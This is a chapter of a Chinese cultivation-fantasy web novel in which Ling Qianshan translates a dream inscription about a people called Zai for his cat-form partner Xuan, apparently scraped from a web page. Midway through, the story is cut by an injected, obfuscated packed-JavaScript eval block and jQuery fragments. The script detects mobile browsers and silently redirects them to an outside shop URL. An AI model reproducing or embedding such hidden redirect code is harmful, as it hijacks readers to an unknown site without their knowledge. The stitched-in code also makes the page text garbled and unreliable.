接下来的日子一切正常,凌千山夫夫俩再没有强制被动入梦了,也算是松了口气。
但两人都清楚这件事还没结束,玄神魂上的伤仍然没好,他们迟早还会进行下一次入梦,只是不知道会进入玄生命中哪一段回忆。
不过那是之后的事了,眼下阳光正好,还做点实事了。
如今凌千山正在研究从梦境里记录下来的古文字。他在溶洞里用手指一笔一画地划过石碑上的刻痕,把每一个字的轮廓都刻在了自己的记忆里。
凌千山把记号是留在梦境身体里的,现实里凌千山身上并没有记号,不过灵力在身体上停留过的痕迹记忆还保留着。
凌千山摸索着将石碑上的内容一个字一个字地恢复出来,用一根从系统商城里兑换的铅笔记录在一大张白纸上。
玄变成猫猫跳上凌千山的头顶,他把两只前爪揣在胸口底下,把自己蜷成一个毛茸茸的猫球稳稳当当地盘踞在凌千山的发顶上,一双琥珀色的猫眼圆滚滚地看着桌上这些陌生的文字。
他是在晒太阳的时候被凌千山的动静吸引过来的,原本是趴在摇椅上闭目养神,后来发现凌千山在纸上画的东西很眼熟,于是便窜了过来。
玄在凌千山头顶调整了一下姿势,尾巴垂下来绕在凌千山的耳朵旁边,好奇地问:“趁我晒太阳的时候做什么呢?”
凌千山头也不敢抬,怕把头顶那团毛茸茸的小祖宗颠下来:“这是梦境里石碑上的碑文,白妖领地那个溶洞里的那块,我誊抄下来了。”
玄低下头仔细看了看那些字,发现不认识。
但他隐约记得自己在别的地方也见过类似的文字,在真实的过去里,他曾经在世界各地的某些犄角旮瘩的地方见过,不过大多都破碎不堪。
“这上面写了什么?”玄问,尾巴尖在凌千山耳朵旁边轻轻晃了晃。
凌千山拿起铅笔,用笔尖在纸面上方虚划了一个圈:“我得捋一捋。这些文字不是从上到下、从右到左这样写的,这种古文字的书写方向完全没有规律。”
他把纸转了个方向给玄看,手指划过纸面,落在一个歪歪扭扭的字符上,“写下文字的人简直随心所欲,往哪个方向写的都有。一句话从左往右读到一半,突然拐了个弯往下走,然后再拐回来。甚至还有倒着写歪着写的,你看这个字,它整个是头朝下脚朝上颠倒过来的。”
玄从凌千山头顶探出半个脑袋,凑近了纸面看了好一会儿,还是没能看懂那些歪七扭八的笔画。
不过他倒是发现了几个重复的字确实是歪歪扭扭三百六十度转着圈写,有的朝左,有的朝右,还有的直接躺平了,这种随性到近乎任性的书写方式让他觉得这大概不是官方文书,更像是某种私人记录。
“好了!”凌千山终于捋清楚了。他将白纸在桌上铺平,指着最上面一行字,开始逐字逐句地翻译。
他的手指在纸面上缓缓移动,“这是一篇游记。写下文字的人自称‘载’,专门记录他们去过的地方。只不过他们是刻在石头上,我们是记在书本或者玉简上。”
玄若有所思地点了点头。
凌千山的手指移到纸面中间一段文字上,继续翻译道:“他们写‘白山’,也就是白妖领地那座雪山很冷,冷到他们不得不挖了个洞躲避风雪。他们大概就是最早开辟那个山洞的人。”
玄回忆起过去的记忆,不是梦境里的那个,在梦境里他是和凌千山、絮一起去的那座雪山。
但在真实的过去里,他独自一人走进过那个被罡风封锁的溶洞,当时他急着采药,根本没有心思在乎石碑上刻了什么。
他的目光掠过那块倒下的石碑,根本没有特意去记,不过化神期修士的记忆力太过强悍,那些被他无意识中扫过的笔画,全都完好无损地储存在记忆深处,直到此刻被这张誊抄的碑文重新唤醒。
他忽然意识到这件事比他之前以为的更加重要:“这些文字一定很重要,否则不会如此清晰地出现在我的记忆里。在修真界,每一件看似偶然的事背后都是必然,那是万千个小事汇合在一起最终导向的结果。这块石碑出现在白妖领地的溶洞里,我恰好路过那里,他就一定有意义。”
凌千山点头,随手捏起铅笔在指尖转了一圈:“没错。所以我才会记录下来。这些文字出现的时机太巧了,论坛上刚有人发现了类似的断崖石刻,我就在梦境里找到了同一文字的石碑,巧合太多就不是巧合了。”
玄从凌千山的头顶轻盈地跳下来,四只猫爪在纸面上留下了一串浅浅的梅花脚印。他站在那张写满了古老文字的纸面上,低头看着剩下的一大片区域,催促道:“快快,继续往下讲吧。那些挖洞躲风雪的人们,后来怎么样了?”
凌千山的手指向另一处文字,“他们食物所剩无几,又冷又饿。为了活命,他们开始自发地出去寻找食物,可是出去的人一个都没有回来。载越来越少,最后只剩下一个人,而最后的这个人已经没有力气继续记录了,于是在石碑上提前写下了自己的死亡。”
玄忽然觉得那些歪歪扭扭的笔画不再像刚才那样有趣了。他用猫爪轻轻按在文字上,看着剩下一大片文字笃定说道:“他没有死对吧。如果他已经死了,就不会有剩下这一大片文字了,一定还有后续。”
凌千山点头,手指移到下半部分,继续翻译道:“对,而且其实所有的载都没有死。”
玄愣住了,猫耳朵抖了抖:“怎么会?如果没有死,怎么会不回来?那个留下的人明明说他们一个都没有回来。”
凌千山的手指顺着文字往左移动:“因为他们遇到了修士,那些出去寻找食物的人没有死在风雪里,而是被修士救了下来。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735459|203895||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“他们被修士治好了伤,还给他们足够的食物,然后回去找那个留在山洞里的人。等他醒来的时候,所有的载都回到了他身边,一个都没少。”
“这部分内容是一群人在很久之后重新回到那个山洞,把这件事补记在了石碑上,所以字体走向四面八方,是因为每个人都在上面添了一笔。”
玄更惊讶了,他原以为“载”是一群修士,毕竟到了全是罡风的雪山就算是修士也要掂量着来,何况是凡人?
玄诧异道:“载是凡人?可他们能抵御一部分罡风,这哪是凡人能做到的?”
凌千山解释道:“载应该和如今的体修差不多,他们的□□极其强悍,碑文里后面还有说他们生来筋骨强悍,不需要灵力也能举起千斤巨石。所以他们可以来到雪山,还可以徒手杀死妖兽。”
玄回想起他认识的凡人,他们大多勤劳善良,但也确实很柔弱,一场小规模的妖兽袭击就能轻易毁掉一个村庄,一次邪修的阴谋就能让一整个镇子的凡人死伤殆尽。
但确实也有例外,他们用自己的方式在修真界留下了属于凡人的痕迹。
玄点点头:“确实如此。不过这是少数,更多的凡人都很柔弱。像载这样能组队杀妖兽的,放在现在的凡人里也是万里挑一。”
凌千山靠在椅背上,语气里带着几分感慨:“毕竟如今大量的凡人被修士们保护在结界内,就算在城外居住也不会离城市太远,他们不需要随时面对死亡的威胁了。”
玄从桌上轻盈地跳到凌千山的怀里,凌千山顺势抱住他,双手托着一团温热的毛茸茸,下巴习惯性地搁在猫猫玄的头顶上。猫猫玄在他怀里找到一个最舒服的姿势,把尾巴绕到凌千山的手腕上,然后才安分下来。
“说起来,这都是魔域造成的,”玄略带嘲讽的说道,“在魔域入侵之前,修士和凡人几乎不会相遇。后来魔域打过来了,凡人根本无法自保,修士们开始聚集在一起保护凡人,最终变成现在这样。”
凌千山顺着他的话往下想,也觉得这事挺讽刺的,魔主这也算是坏心办好事吧,他弯起嘴角:“这也算是魔域做的唯一的好事吧。”
封印内,魔主打了一个响亮的喷嚏。
“谁骂我?”他下意识抬头望天,结果被头顶那轮永不沉没的假太阳灼了个正着,他不得不低下了头,一边揉着被灼伤的眼睛一边把韩景天从头到脚骂了个遍。
“可恶,韩景天这个小崽子竟然不理我。”他骂了好一阵子,却始终得不到任何回应,终于呸了一口一屁股坐在地上。
“魔主?您叫我来是要反攻修真界了吗?”一个兴奋的声音忽然从虚空中传来。
魔主丝毫不在乎自己在手下眼中的形象,他盘腿坐在地上用一种破罐子破摔的语气吼道:“攻什么攻!你们魔主都快要死了,还攻!”